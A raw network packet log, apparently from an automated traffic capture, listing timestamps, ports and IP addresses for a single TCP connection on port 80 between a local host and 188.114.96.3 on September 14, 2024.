Sep 14, 2024 18:44:32.448925972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448960066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448966026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448995113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449027061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449059963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449091911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449106932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449106932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449126005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449160099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449170113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449193954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449230909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449240923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449263096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449295044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449314117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449327946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449363947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449371099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449393034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449424982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449456930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449460030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449493885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449506044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449528933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449563980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449564934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449599028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449630976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449645996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449666977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449698925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449712038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449733019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449767113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449779987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449800968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449835062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449846983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.449872017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449899912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.449918032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.502186060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531486034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531558037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531610966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531615019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531645060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531692982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531696081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531729937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531768084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531775951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531817913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531852007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531866074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531884909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531923056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.531935930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.531970024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532015085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532018900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532052994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532085896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532099009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532121897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532170057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532172918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532222986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532255888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532270908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532291889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532325029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532340050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532371998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532404900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532423019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532444954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532490969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532495022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532527924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532561064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532572985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532594919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532644033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532646894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532680988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532712936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532723904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532747030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532793045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532797098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532830954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532864094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532877922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532900095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532932997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532947063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.532964945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.532998085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533011913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533031940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533063889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533077955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533097982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533130884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533143997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533165932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533199072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533211946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533232927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533266068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533277035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533299923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533333063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533345938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533370018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533401012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533410072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533433914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533468008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533480883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533502102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533535004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533548117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533567905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533600092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533613920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533632040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533663988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533673048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533715010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533747911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533761978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533781052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533829927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533830881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533864021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533899069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533915997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.533931017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.533962965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534008026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534014940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534058094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534059048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534095049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534127951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534142971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534161091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534202099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534203053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534239054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534271002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534280062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534305096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534338951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534349918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534370899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534404039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534409046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534435987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534468889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534471989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534502983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534535885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534543037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534569025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534601927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534615040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534636021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534671068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534677029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534703970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534737110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534744024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534770012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534802914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534815073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534837961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534871101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534881115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534905910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534940004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.534951925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.534972906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535006046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535012960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535038948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535072088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535082102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535101891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535135031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535142899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535171032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535202980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535212994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535237074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535269976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535278082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535305023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535331964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535345078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535365105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535402060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535419941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535451889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535485983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535495996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535518885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535573006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535584927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.535609007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535641909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.535653114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.580275059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618103027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618271112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618282080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618288994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618294954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618307114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618318081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618330956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618352890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618366003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618375063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618391991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618403912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618415117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618424892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618442059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618453026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618463039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618474960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618494987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618551970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618551970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618563890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618577003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618587971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618597984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618607044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618627071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618654013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618719101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618726015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618730068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618791103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618792057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618802071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618813992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618827105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618835926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618841887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618855953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618860006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618890047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618910074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618921041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618932009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618942976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.618958950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.618988991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619066954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619077921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619090080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619101048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619112015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619112968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619143009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619184971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619196892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619208097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619220972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619232893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619232893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619245052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619256020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619265079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619348049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619360924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619370937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619389057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619396925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619401932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619414091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619417906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619427919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619438887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619452000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619452953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619462967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619472027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619476080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619488955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619491100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619501114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619513035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619520903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619523048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619535923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619549036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619563103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619569063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619582891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619594097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619610071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619613886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619621992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619635105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619657993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619693995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619868040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619879007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619890928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619901896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619910002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619914055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619924068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619927883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619941950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619951963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619959116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619966030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619976997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619978905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.619987965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.619998932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620012999 CEST	80	54891	188.114.96.3	192.168.2.7
